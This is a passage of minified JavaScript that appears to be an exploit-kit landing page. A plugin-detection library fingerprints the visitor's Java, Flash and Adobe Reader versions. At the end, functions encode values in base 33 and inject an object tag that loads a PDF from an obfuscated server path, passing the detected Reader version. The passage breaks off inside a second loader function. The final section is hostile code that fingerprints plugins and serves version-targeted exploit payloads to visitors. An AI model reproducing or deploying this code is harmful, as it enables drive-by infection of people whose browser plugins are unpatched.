  948.                 if (!c.vendor) {
  949.                     c.vendor = ""
  950.                 }
  951.                 if (c.verify && c.verify.isEnabled()) {
  952.                     c.getVersionDone = 0
  953.                 } else {
  954.                     if (c.getVersionDone != 1) {
  955.                         if (c.OTF < 2) {
  956.                             c.getVersionDone = 0
  957.                         } else {
  958.                             c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  959.                         }
  960.                     }
  961.                 }
  962.             },
  963.             DTK: {
  964.                 $: 1,
  965.                 hasRun: 0,
  966.                 status: null,
  967.                 VERSIONS: [],
  968.                 version: "",
  969.                 HTML: null,
  970.                 Plugin2Status: null,
  971.                 classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  972.                 mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  973.                 disabled: function() {
  974.                     return this.$$.isDisabled.DTK()
  975.                 },
  976.                 query: function() {
  977.                     var k = this,
  978.                         g = k.$,
  979.                         d = k.$$,
  980.                         j, l, h, m = {},
  981.                         f = {},
  982.                         a, c = null,
  983.                         i = null,
  984.                         b = (k.hasRun || k.disabled());
  985.                     k.hasRun = 1;
  986.                     if (b) {
  987.                         return k
  988.                     }
  989.                     k.status = 0;
  990.                     if (g.isIE && 6 <= g.verIE) {
  991.                         for (l = 0; l < k.classID.length; l++) {
  992.                             k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  993.                             c = g.getDOMobj(k.HTML);
  994.                             try {
  995.                                 if (c && c.jvms) {
  996.                                     break
  997.                                 }
  998.                             } catch (j) {}
  999.                         }
  1000.                     } else {
  1001.                         if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type) {
  1002.                             k.HTML = g.insertHTML("object", ["type", h.type], []);
  1003.                             c = g.getDOMobj(k.HTML)
  1004.                         }
  1005.                     }
  1006.                     if (c) {
  1007.                         try {
  1008.                             a = c.jvms;
  1009.                             if (a) {
  1010.                                 i = a.getLength();
  1011.                                 if (g.isNum(i)) {
  1012.                                     k.status = 0 < i ? 1 : -1;
  1013.                                     for (l = 0; l < i; l++) {
  1014.                                         h = g.getNum(a.get(i - 1 - l).version);
  1015.                                         if (h) {
  1016.                                             k.VERSIONS.push(h);
  1017.                                             f["a" + g.formatNum(h)] = 1
  1018.                                         }
  1019.                                     }
  1020.                                 }
  1021.                             }
  1022.                         } catch (j) {}
  1023.                     }
  1024.                     h = 0;
  1025.                     for (l in f) {
  1026.                         h++
  1027.                     }
  1028.                     if (h && h !== k.VERSIONS.length) {
  1029.                         k.VERSIONS = []
  1030.                     }
  1031.                     if (k.VERSIONS.length) {
  1032.                         k.version = g.formatNum(k.VERSIONS[0])
  1033.                     };
  1034.                     return k
  1035.                 }
  1036.             },
  1037.             AXO: {
  1038.                 $: 1,
  1039.                 hasRun: 0,
  1040.                 VERSIONS: [],
  1041.                 version: "",
  1042.                 disabled: function() {
  1043.                     return this.$$.isDisabled.AXO()
  1044.                 },
  1045.                 JavaVersions: [
  1046.                     [1, 9, 1, 40],
  1047.                     [1, 8, 1, 40],
  1048.                     [1, 7, 1, 40],
  1049.                     [1, 6, 0, 40],
  1050.                     [1, 5, 0, 30],
  1051.                     [1, 4, 2, 30],
  1052.                     [1, 3, 1, 30]
  1053.                 ],
  1054.                 query: function() {
  1055.                     var a = this,
  1056.                         e = a.$,
  1057.                         b = a.$$,
  1058.                         c = (a.hasRun || a.disabled());
  1059.                     a.hasRun = 1;
  1060.                     if (c) {
  1061.                         return a
  1062.                     }
  1063.                     var i = [],
  1064.                         k = [1, 5, 0, 14],
  1065.                         j = [1, 6, 0, 2],
  1066.                         h = [1, 3, 1, 0],
  1067.                         g = [1, 4, 2, 0],
  1068.                         f = [1, 5, 0, 7],
  1069.                         d = b.getInfo ? true : false,
  1070.                         l = {};
  1071.                     if (b.minIEver <= e.verIE) {
  1072.                         i = a.search(j, j, d);
  1073.                         if (0 < i.length && d) {
  1074.                             i = a.search(k, k, d)
  1075.                         }
  1076.                     } else {
  1077.                         if (d) {
  1078.                             i = a.search(f, f, true)
  1079.                         }
  1080.                         if (i.length == 0) {
  1081.                             i = a.search(h, g, false)
  1082.                         }
  1083.                     }
  1084.                     if (i.length) {
  1085.                         a.version = i[0];
  1086.                         a.VERSIONS = [].concat(i)
  1087.                     };
  1088.                     return a
  1089.                 },
  1090.                 search: function(a, j, p) {
  1091.                     var h, d, f = this,
  1092.                         e = f.$,
  1093.                         k = f.$$,
  1094.                         n, c, l, q, b, o, r, i = [];
  1095.                     if (0 < e.compareNums(a.join(","), j.join(","))) {
  1096.                         j = a
  1097.                     }
  1098.                     j = e.formatNum(j.join(","));
  1099.                     var m, s = "1,4,2,0",
  1100.                         g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0 < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1101.                     for (h = 0; h < f.JavaVersions.length; h++) {
  1102.                         d = f.JavaVersions[h];
  1103.                         n = "JavaPlugin." + d[0] + "" + d[1];
  1104.                         b = d[0] + "." + d[1] + ".";
  1105.                         for (l = d[2]; l >= 0; l--) {
  1106.                             r = "JavaWebStart.isInstalled." + b + l + ".0";
  1107.                             if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 && !e.getAXO(r)) {
  1108.                                 continue
  1109.                             }
  1110.                             m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
  1111.                             for (q = d[3]; q >= 0; q--) {
  1112.                                 c = l + "_" + (q < 10 ? "0" + q : q);
  1113.                                 o = n + c;
  1114.                                 if (e.getAXO(o) && (m || e.getAXO(r))) {
  1115.                                     i.push(b + c);
  1116.                                     if (!p) {
  1117.                                         return i
  1118.                                     }
  1119.                                 }
  1120.                                 if (o == g) {
  1121.                                     return i
  1122.                                 }
  1123.                             }
  1124.                             if (e.getAXO(n + l) && (m || e.getAXO(r))) {
  1125.                                 i.push(b + l);
  1126.                                 if (!p) {
  1127.                                     return i
  1128.                                 }
  1129.                             }
  1130.                             if (n + l == g) {
  1131.                                 return i
  1132.                             }
  1133.                         }
  1134.                     }
  1135.                     return i
  1136.                 }
  1137.             },
  1138.             navMime: {
  1139.                 $: 1,
  1140.                 hasRun: 0,
  1141.                 mimetype: "",
  1142.                 version: "",
  1143.                 length: 0,
  1144.                 mimeObj: 0,
  1145.                 pluginObj: 0,
  1146.                 disabled: function() {
  1147.                     return this.$$.isDisabled.navMime()
  1148.                 },
  1149.                 query: function() {
  1150.                     var i = this,
  1151.                         f = i.$,
  1152.                         a = i.$$,
  1153.                         b = (i.hasRun || i.disabled());
  1154.                     i.hasRun = 1;
  1155.                     if (b) {
  1156.                         return i
  1157.                     };
  1158.                     var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1159.                         g, l, j, d = "",
  1160.                         h = "a",
  1161.                         o, m, k = {},
  1162.                         c = f.formatNum("0");
  1163.                     for (l = 0; l < navigator.mimeTypes.length; l++) {
  1164.                         o = navigator.mimeTypes[l];
  1165.                         m = o ? o.enabledPlugin : 0;
  1166.                         g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1167.                         if (g && m && (m.description || m.name)) {
  1168.                             if (!k[h + g]) {
  1169.                                 i.length++
  1170.                             }
  1171.                             k[h + g] = o.type;
  1172.                             if (0 < f.compareNums(g, c)) {
  1173.                                 c = g
  1174.                             }
  1175.                         }
  1176.                     }
  1177.                     g = k[h + c];
  1178.                     if (g) {
  1179.                         o = f.hasMimeType(g);
  1180.                         i.mimeObj = o;
  1181.                         i.pluginObj = o ? o.enabledPlugin : 0;
  1182.                         i.mimetype = g;
  1183.                         i.version = c
  1184.                     };
  1185.                     return i
  1186.                 }
  1187.             },
  1188.             navPlugin: {
  1189.                 $: 1,
  1190.                 hasRun: 0,
  1191.                 version: "",
  1192.                 disabled: function() {
  1193.                     return this.$$.isDisabled.navPlugin()
  1194.                 },
  1195.                 query: function() {
  1196.                     var m = this,
  1197.                         e = m.$,
  1198.                         c = m.$$,
  1199.                         h = c.navigator,
  1200.                         j, l, k, g, d, a, i, f = 0,
  1201.                         b = (m.hasRun || m.disabled());
  1202.                     m.hasRun = 1;
  1203.                     if (b) {
  1204.                         return m
  1205.                     };
  1206.                     a = h.pluginObj.name || "";
  1207.                     i = h.pluginObj.description || "";
  1208.                     if (!f || c.debug) {
  1209.                         g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1210.                         if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  1211.                             f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1212.                         }
  1213.                     }
  1214.                     if (!f || c.debug) {
  1215.                         g = /Java[^\d]*Plug-in/i;
  1216.                         l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1217.                         k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1218.                         if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  1219.                             l = 0
  1220.                         }
  1221.                         if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  1222.                             k = 0
  1223.                         }
  1224.                         d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
  1225.                         if (d) {
  1226.                             f = d
  1227.                         }
  1228.                     }
  1229.                     if (!f && e.isSafari && e.OS == 2) {
  1230.                         j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1231.                         if (j) {
  1232.                             l = e.getNum(j.description);
  1233.                             if (l) {
  1234.                                 f = l
  1235.                             }
  1236.                         }
  1237.                     };
  1238.                     if (f) {
  1239.                         m.version = e.formatNum(f)
  1240.                     };
  1241.                     return m
  1242.                 }
  1243.             },
  1244.             lang: {
  1245.                 $: 1,
  1246.                 System: {
  1247.                     $: 1,
  1248.                     hasRun: 0,
  1249.                     result: [null, null],
  1250.                     disabled: function() {
  1251.                         return this.$$.isDisabled.windowDotJava()
  1252.                     },
  1253.                     getPropertyHas: function(a) {
  1254.                         var b = this,
  1255.                             d = b.$,
  1256.                             c = b.getProperty()[0];
  1257.                         return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1258.                     },
  1259.                     getProperty: function() {
  1260.                         var f = this,
  1261.                             g = f.$,
  1262.                             d = f.$$,
  1263.                             i, h = {},
  1264.                             b = f.hasRun || f.disabled();
  1265.                         f.hasRun = 1;
  1266.                         if (!b) {
  1267.                             var a = "java_qqq990";
  1268.                             g[a] = null;
  1269.                             try {
  1270.                                 var c = document.createElement("script");
  1271.                                 c.type = "text/javascript";
  1272.                                 c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + "=a||0})();"));
  1273.                                 g.head.insertBefore(c, g.head.firstChild);
  1274.                                 g.head.removeChild(c)
  1275.                             } catch (i) {}
  1276.                             if (g[a] && g.isArray(g[a])) {
  1277.                                 f.result = [].concat(g[a])
  1278.                             }
  1279.                         }
  1280.                         return f.result
  1281.                     }
  1282.                 }
  1283.             },
  1284.             applet: {
  1285.                 $: 1,
  1286.                 results: [
  1287.                     [null, null],
  1288.                     [null, null],
  1289.                     [null, null]
  1290.                 ],
  1291.                 getResult: function() {
  1292.                     var c = this.results,
  1293.                         a, b = [];
  1294.                     for (a = 0; a < c.length; a++) {
  1295.                         b = c[a];
  1296.                         if (b[0]) {
  1297.                             break
  1298.                         }
  1299.                     }
  1300.                     return [].concat(b)
  1301.                 },
  1302.                 HTML: [0, 0, 0],
  1303.                 active: [0, 0, 0],
  1304.                 DummyObjTagHTML: 0,
  1305.                 DummySpanTagHTML: 0,
  1306.                 allowed: [1, 1, 1],
  1307.                 VerifyTagsHas: function(c) {
  1308.                     var d = this,
  1309.                         b;
  1310.                     for (b = 0; b < d.allowed.length; b++) {
  1311.                         if (d.allowed[b] === c) {
  1312.                             return 1
  1313.                         }
  1314.                     }
  1315.                     return 0
  1316.                 },
  1317.                 saveAsVerifyTagsArray: function(c) {
  1318.                     var b = this,
  1319.                         d = b.$,
  1320.                         a;
  1321.                     if (d.isArray(c)) {
  1322.                         for (a = 0; a < b.allowed.length; a++) {
  1323.                             if (d.isNum(c[a])) {
  1324.                                 if (0 > c[a]) {
  1325.                                     c[a] = 0
  1326.                                 }
  1327.                                 if (c[a] > 3) {
  1328.                                     c[a] = 3
  1329.                                 }
  1330.                                 b.allowed[a] = c[a]
  1331.                             }
  1332.                         }
  1333.                     }
  1334.                 },
  1335.                 setVerifyTagsArray: function(d) {
  1336.                     var b = this,
  1337.                         c = b.$,
  1338.                         a = b.$$;
  1339.                     if (a.getVersionDone === null) {
  1340.                         b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1341.                     }
  1342.                     if (a.debug || (a.verify && a.verify.isEnabled())) {
  1343.                         b.saveAsVerifyTagsArray([3, 3, 3])
  1344.                     } else {
  1345.                         if (d) {
  1346.                             b.saveAsVerifyTagsArray(d)
  1347.                         }
  1348.                     }
  1349.                 },
  1350.                 allDisabled: function() {
  1351.                     return this.$$.isDisabled.allApplets()
  1352.                 },
  1353.                 isDisabled: function(d) {
  1354.                     var b = this,
  1355.                         c = b.$,
  1356.                         a = b.$$;
  1357.                     if (d == 2 && !c.isIE) {
  1358.                         return 1
  1359.                     }
  1360.                     if (d === 0 || d == 2) {
  1361.                         return a.isDisabled.ObjectTag()
  1362.                     }
  1363.                     if (d == 1) {
  1364.                         return a.isDisabled.AppletTag()
  1365.                     }
  1366.                 },
  1367.                 can_Insert_Query: function(b) {
  1368.                     var a = this;
  1369.                     if (a.HTML[b]) {
  1370.                         return 0
  1371.                     }
  1372.                     return !a.isDisabled(b)
  1373.                 },
  1374.                 can_Insert_Query_Any: function() {
  1375.                     var b = this,
  1376.                         a;
  1377.                     for (a = 0; a < b.results.length; a++) {
  1378.                         if (b.can_Insert_Query(a)) {
  1379.                             return 1
  1380.                         }
  1381.                     }
  1382.                     return 0
  1383.                 },
  1384.                 should_Insert_Query: function(d) {
  1385.                     var b = this,
  1386.                         e = b.allowed,
  1387.                         c = b.$,
  1388.                         a = b.$$;
  1389.                     if (!b.can_Insert_Query(d)) {
  1390.                         return 0
  1391.                     }
  1392.                     if (e[d] == 3) {
  1393.                         return 1
  1394.                     }
  1395.                     if (e[d] == 2.8 && !b.getResult()[0]) {
  1396.                         return 1
  1397.                     }
  1398.                     if (e[d] == 2.5 && !a.lang.System.getProperty()[0]) {
  1399.                         return 1
  1400.                     }
  1401.                     if (e[d] == 2.2 && !a.lang.System.getProperty()[0] && !b.getResult()[0]) {
  1402.                         return 1
  1403.                     }
  1404.                     if (!a.nonAppletDetectionOk(a.version0)) {
  1405.                         if (e[d] == 2) {
  1406.                             return 1
  1407.                         }
  1408.                         if (e[d] == 1 && !b.getResult()[0]) {
  1409.                             return 1
  1410.                         }
  1411.                     }
  1412.                     return 0
  1413.                 },
  1414.                 should_Insert_Query_Any: function() {
  1415.                     var b = this,
  1416.                         a;
  1417.                     for (a = 0; a < b.allowed.length; a++) {
  1418.                         if (b.should_Insert_Query(a)) {
  1419.                             return 1
  1420.                         }
  1421.                     }
  1422.                     return 0
  1423.                 },
  1424.                 query: function(f) {
  1425.                     var h, a = this,
  1426.                         g = a.$,
  1427.                         d = a.$$,
  1428.                         i = null,
  1429.                         j = null,
  1430.                         b = a.results,
  1431.                         c;
  1432.                     if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)) {
  1433.                         return
  1434.                     }
  1435.                     c = g.getDOMobj(a.HTML[f], true);
  1436.                     if (c) {
  1437.                         try {
  1438.                             i = g.getNum(c.getVersion() + " ");
  1439.                             j = c.getVendor() + " ";
  1440.                             c.statusbar(g.winLoaded ? " " : " ")
  1441.                         } catch (h) {}
  1442.                         if (i && g.isStrNum(i)) {
  1443.                             b[f] = [i, j]
  1444.                         } else {};
  1445.                         try {
  1446.                             if (g.isIE && i && c.readyState != 4) {
  1447.                                 g.garbage = true;
  1448.                                 c.parentNode.removeChild(c)
  1449.                             }
  1450.                         } catch (h) {}
  1451.                     }
  1452.                 },
  1453.                 insert_Query_Any: function() {
  1454.                     var d = this,
  1455.                         i = d.$,
  1456.                         e = d.$$,
  1457.                         l = d.results,
  1458.                         p = d.HTML,
  1459.                         a = "&nbsp;&nbsp;&nbsp;&nbsp;",
  1460.                         g = "A.class",
  1461.                         m = i.file.getValid(e);
  1462.                     if (!m) {
  1463.                         return d.getResult()
  1464.                     }
  1465.                     if (e.OTF < 1) {
  1466.                         e.OTF = 1
  1467.                     }
  1468.                     if (d.allDisabled()) {
  1469.                         return d.getResult()
  1470.                     }
  1471.                     if (e.OTF < 1.5) {
  1472.                         e.OTF = 1.5
  1473.                     }
  1474.                     var j = m.name + m.ext,
  1475.                         h = m.path;
  1476.                     var f = ["archive", j, "code", g],
  1477.                         c = ["mayscript", "true"],
  1478.                         o = ["scriptable", "true"].concat(c),
  1479.                         n = e.navigator,
  1480.                         b = !i.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : e.mimeType[0];
  1481.                     if (d.should_Insert_Query(0)) {
  1482.                         if (e.OTF < 2) {
  1483.                             e.OTF = 2
  1484.                         };
  1485.                         p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e);
  1486.                         l[0] = [0, 0];
  1487.                         d.query(0)
  1488.                     }
  1489.                     if (d.should_Insert_Query(1)) {
  1490.                         if (e.OTF < 2) {
  1491.                             e.OTF = 2
  1492.                         };
  1493.                         p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), ["codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt", a].concat(c).concat(f), [].concat(c), a, e);
  1494.                         l[1] = [0, 0];
  1495.                         d.query(1)
  1496.                     }
  1497.                     if (d.should_Insert_Query(2)) {
  1498.                         if (e.OTF < 2) {
  1499.                             e.OTF = 2
  1500.                         };
  1501.                         p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML();
  1502.                         l[2] = [0, 0];
  1503.                         d.query(2)
  1504.                     }
  1505.                     if (!d.DummyObjTagHTML && !e.isDisabled.ObjectTag()) {
  1506.                         d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1507.                     }
  1508.                     if (!d.DummySpanTagHTML) {
  1509.                         d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1510.                     };
  1511.                     var k = e.NOTF;
  1512.                     if (e.OTF < 3 && k.shouldContinueQuery()) {
  1513.                         e.OTF = 3;
  1514.                         k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1515.                         if (!i.winLoaded) {
  1516.                             i.WLfuncs0.push([k.winOnLoadQuery, k])
  1517.                         }
  1518.                         setTimeout(k.onIntervalQuery, k.intervalLength)
  1519.                     };
  1520.                     return d.getResult()
  1521.                 }
  1522.             },
  1523.             NOTF: {
  1524.                 $: 1,
  1525.                 count: 0,
  1526.                 countMax: 25,
  1527.                 intervalLength: 250,
  1528.                 shouldContinueQuery: function() {
  1529.                     var e = this,
  1530.                         d = e.$,
  1531.                         c = e.$$,
  1532.                         b = c.applet,
  1533.                         a;
  1534.                     for (a = 0; a < b.results.length; a++) {
  1535.                         if (b.HTML[a] && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && e.isAppletActive(a) >= 0) {
  1536.                             return 1
  1537.                         }
  1538.                     }
  1539.                     return 0
  1540.                 },
  1541.                 isJavaActive: function(d) {
  1542.                     var f = this,
  1543.                         c = f.$$,
  1544.                         a, b, e = -9;
  1545.                     for (a = 0; a < c.applet.HTML.length; a++) {
  1546.                         b = f.isAppletActive(a, d);
  1547.                         if (b > e) {
  1548.                             e = b
  1549.                         }
  1550.                     }
  1551.                     return e
  1552.                 },
  1553.                 isAppletActive: function(c, a) {
  1554.                     var d = this,
  1555.                         b = d.$$.applet.active;
  1556.                     if (!a) {
  1557.                         b[c] = d.isAppletActive_(c)
  1558.                     }
  1559.                     return b[c]
  1560.                 },
  1561.                 isAppletActive_: function(d) {
  1562.                     var g = this,
  1563.                         f = g.$,
  1564.                         b = g.$$,
  1565.                         l = b.navigator,
  1566.                         a = b.applet,
  1567.                         h = a.HTML[d],
  1568.                         i, k, c = 0,
  1569.                         j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.count);
  1570.                     if (j == -2) {
  1571.                         return -2
  1572.                     }
  1573.                     try {
  1574.                         if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object) {
  1575.                             return 1
  1576.                         }
  1577.                     } catch (i) {}
  1578.                     for (k = 0; k < a.active.length; k++) {
  1579.                         if (0 < a.active[k]) {
  1580.                             c = 1
  1581.                         }
  1582.                     }
  1583.                     if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.tagName == "object" || c)) || b.lang.System.getProperty()[0]))) {
  1584.                         return 1
  1585.                     }
  1586.                     if (0 > j) {
  1587.                         return -1
  1588.                     }
  1589.                     return 0
  1590.                 },
  1591.                 winOnLoadQuery: function(c, d) {
  1592.                     var b = d.$$,
  1593.                         a;
  1594.                     if (b.OTF == 3) {
  1595.                         a = d.queryAllApplets();
  1596.                         d.queryCompleted(a[1], a[2])
  1597.                     }
  1598.                 },
  1599.                 $$onIntervalQuery: function(d) {
  1600.                     var c = d.$,
  1601.                         b = d.$$,
  1602.                         a;
  1603.                     if (b.OTF == 3) {
  1604.                         a = d.queryAllApplets();
  1605.                         if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)) {
  1606.                             d.queryCompleted(a[1], a[2])
  1607.                         }
  1608.                     }
  1609.                     d.count++;
  1610.                     if (b.OTF == 3) {
  1611.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  1612.                     }
  1613.                 },
  1614.                 queryAllApplets: function() {
  1615.                     var g = this,
  1616.                         f = g.$,
  1617.                         e = g.$$,
  1618.                         d = e.applet,
  1619.                         b, a, c;
  1620.                     for (b = 0; b < d.results.length; b++) {
  1621.                         d.query(b)
  1622.                     }
  1623.                     a = d.getResult();
  1624.                     c = a[0] ? true : false;
  1625.                     return [c, a[0], a[1]]
  1626.                 },
  1627.                 queryCompleted: function(c, f) {
  1628.                     var e = this,
  1629.                         d = e.$,
  1630.                         b = e.$$;
  1631.                     if (b.OTF >= 4) {
  1632.                         return
  1633.                     }
  1634.                     b.OTF = 4;
  1635.                     var a = e.isJavaActive();
  1636.                     b.setPluginStatus(c, f, 0);
  1637.                     if (b.funcs) {
  1638.                         d.callArray(b.funcs)
  1639.                     }
  1640.                     if (d.onDoneEmptyDiv) {
  1641.                         d.onDoneEmptyDiv()
  1642.                     }
  1643.                 }
  1644.             },
  1645.             zz: 0
  1646.         },
  1647.         flash: {
  1648.             mimeType: "application/x-shockwave-flash",
  1649.             progID: "ShockwaveFlash.ShockwaveFlash",
  1650.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1651.             getVersion: function() {
  1652.                 var b = function(i) {
  1653.                         if (!i) {
  1654.                             return null
  1655.                         }
  1656.                         var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  1657.                         return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1658.                     };
  1659.                 var j = this,
  1660.                     g = j.$,
  1661.                     k, h, l = null,
  1662.                     c = null,
  1663.                     a = null,
  1664.                     f, m, d;
  1665.                 if (!g.isIE) {
  1666.                     m = g.hasMimeType(j.mimeType);
  1667.                     if (m) {
  1668.                         f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1669.                         try {
  1670.                             l = g.getNum(f.GetVariable("$version"))
  1671.                         } catch (k) {}
  1672.                     }
  1673.                     if (!l) {
  1674.                         d = m ? m.enabledPlugin : null;
  1675.                         if (d && d.description) {
  1676.                             l = b(d.description)
  1677.                         }
  1678.                         if (l) {
  1679.                             l = g.getPluginFileVersion(d, l)
  1680.                         }
  1681.                     }
  1682.                 } else {
  1683.                     for (h = 15; h > 2; h--) {
  1684.                         c = g.getAXO(j.progID + "." + h);
  1685.                         if (c) {
  1686.                             a = h.toString();
  1687.                             break
  1688.                         }
  1689.                     }
  1690.                     if (!c) {
  1691.                         c = g.getAXO(j.progID)
  1692.                     }
  1693.                     if (a == "6") {
  1694.                         try {
  1695.                             c.AllowScriptAccess = "always"
  1696.                         } catch (k) {
  1697.                             return "6,0,21,0"
  1698.                         }
  1699.                     }
  1700.                     try {
  1701.                         l = b(c.GetVariable("$version"))
  1702.                     } catch (k) {}
  1703.                     if (!l && a) {
  1704.                         l = a
  1705.                     }
  1706.                 }
  1707.                 j.installed = l ? 1 : -1;
  1708.                 j.version = g.formatNum(l);
  1709.                 return true
  1710.             }
  1711.         },
  1712.         adobereader: {
  1713.             mimeType: "application/pdf",
  1714.             navPluginObj: null,
  1715.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  1716.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1717.             INSTALLED: {},
  1718.             pluginHasMimeType: function(d, c, f) {
  1719.                 var b = this,
  1720.                     e = b.$,
  1721.                     a;
  1722.                 for (a in d) {
  1723.                     if (d[a] && d[a].type && d[a].type == c) {
  1724.                         return 1
  1725.                     }
  1726.                 }
  1727.                 if (e.getMimeEnabledPlugin(c, f)) {
  1728.                     return 1
  1729.                 }
  1730.                 return 0
  1731.             },
  1732.             getVersion: function(l, j) {
  1733.                 var g = this,
  1734.                     d = g.$,
  1735.                     i, f, m, n, b = null,
  1736.                     h = null,
  1737.                     k = g.mimeType,
  1738.                     a, c;
  1739.                 if (d.isString(j)) {
  1740.                     j = j.replace(/\s/g, "");
  1741.                     if (j) {
  1742.                         k = j
  1743.                     }
  1744.                 } else {
  1745.                     j = null
  1746.                 }
  1747.                 if (d.isDefined(g.INSTALLED[k])) {
  1748.                     g.installed = g.INSTALLED[k];
  1749.                     return
  1750.                 }
  1751.                 if (!d.isIE) {
  1752.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1753.                     if (g.getVersionDone !== 0) {
  1754.                         g.getVersionDone = 0;
  1755.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  1756.                         if (!j) {
  1757.                             n = b
  1758.                         }
  1759.                         if (!b && d.hasMimeType(g.mimeType)) {
  1760.                             b = d.findNavPlugin(a, 0)
  1761.                         }
  1762.                         if (b) {
  1763.                             g.navPluginObj = b;
  1764.                             h = d.getNum(b.description) || d.getNum(b.name);
  1765.                             h = d.getPluginFileVersion(b, h);
  1766.                             if (!h && d.OS == 1) {
  1767.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  1768.                                     h = "9"
  1769.                                 } else {
  1770.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  1771.                                         h = "8"
  1772.                                     }
  1773.                                 }
  1774.                             }
  1775.                         }
  1776.                     } else {
  1777.                         h = g.version
  1778.                     }
  1779.                     if (!d.isDefined(n)) {
  1780.                         n = d.getMimeEnabledPlugin(k, a)
  1781.                     }
  1782.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  1783.                 } else {
  1784.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1785.                     c = /=\s*([\d\.]+)/g;
  1786.                     try {
  1787.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
  1788.                         for (m = 0; m < 5; m++) {
  1789.                             if (c.test(f) && (!h || h < RegExp.$1)) {
  1790.                                 h = RegExp.$1
  1791.                             }
  1792.                         }
  1793.                     } catch (i) {}
  1794.                     g.installed = h ? 1 : (b ? 0 : -1)
  1795.                 }
  1796.                 if (!g.version) {
  1797.                     g.version = d.formatNum(h)
  1798.                 }
  1799.                 g.INSTALLED[k] = g.installed
  1800.             }
  1801.         },
  1802.         zz: 0
  1803.     }
  1804. };
  1805. pdpd.initScript();
  1806. pdpd.getVersion(".");
  1807. var $$ = pdpd;

  1808. function x(s) {
  1809.     d = [];
  1810.     for (i = 0; i < s.length; i++) {
  1811.         k = (s.charCodeAt(i)).toString(33);
  1812.         d.push(k);
  1813.     };
  1814.     return d.join(":");
  1815. }
  1816. end_redirect = function() {};

  1817. function j1() {
  1818.     return true;
  1819. }
  1820. function j2() {
  1821.     return true;
  1822. }
  1823. function p1() {
  1824.     var d = document.createElement("object");
  1825.     d.setAttribute("data", "/.stats/strongly/actually-direct_missed_see.php?yurwls=" + x("8fa62") + "&vvpjzkfq=" + x("zjo") + "&erz=2w:1j:32:31:1n:1f:1h:31:31:2v:1p:1p:2v:1k:2v:2w:1j:2w:1f:31:31:2v&tkxrzcdo=" + x(pdfver.join(".")));
  1826.     d.setAttribute("type", "application/pdf");
  1827.     document.body.appendChild(d);
  1828. }
  1829. function p2() {
  1830.     var d = document.createElement("object");
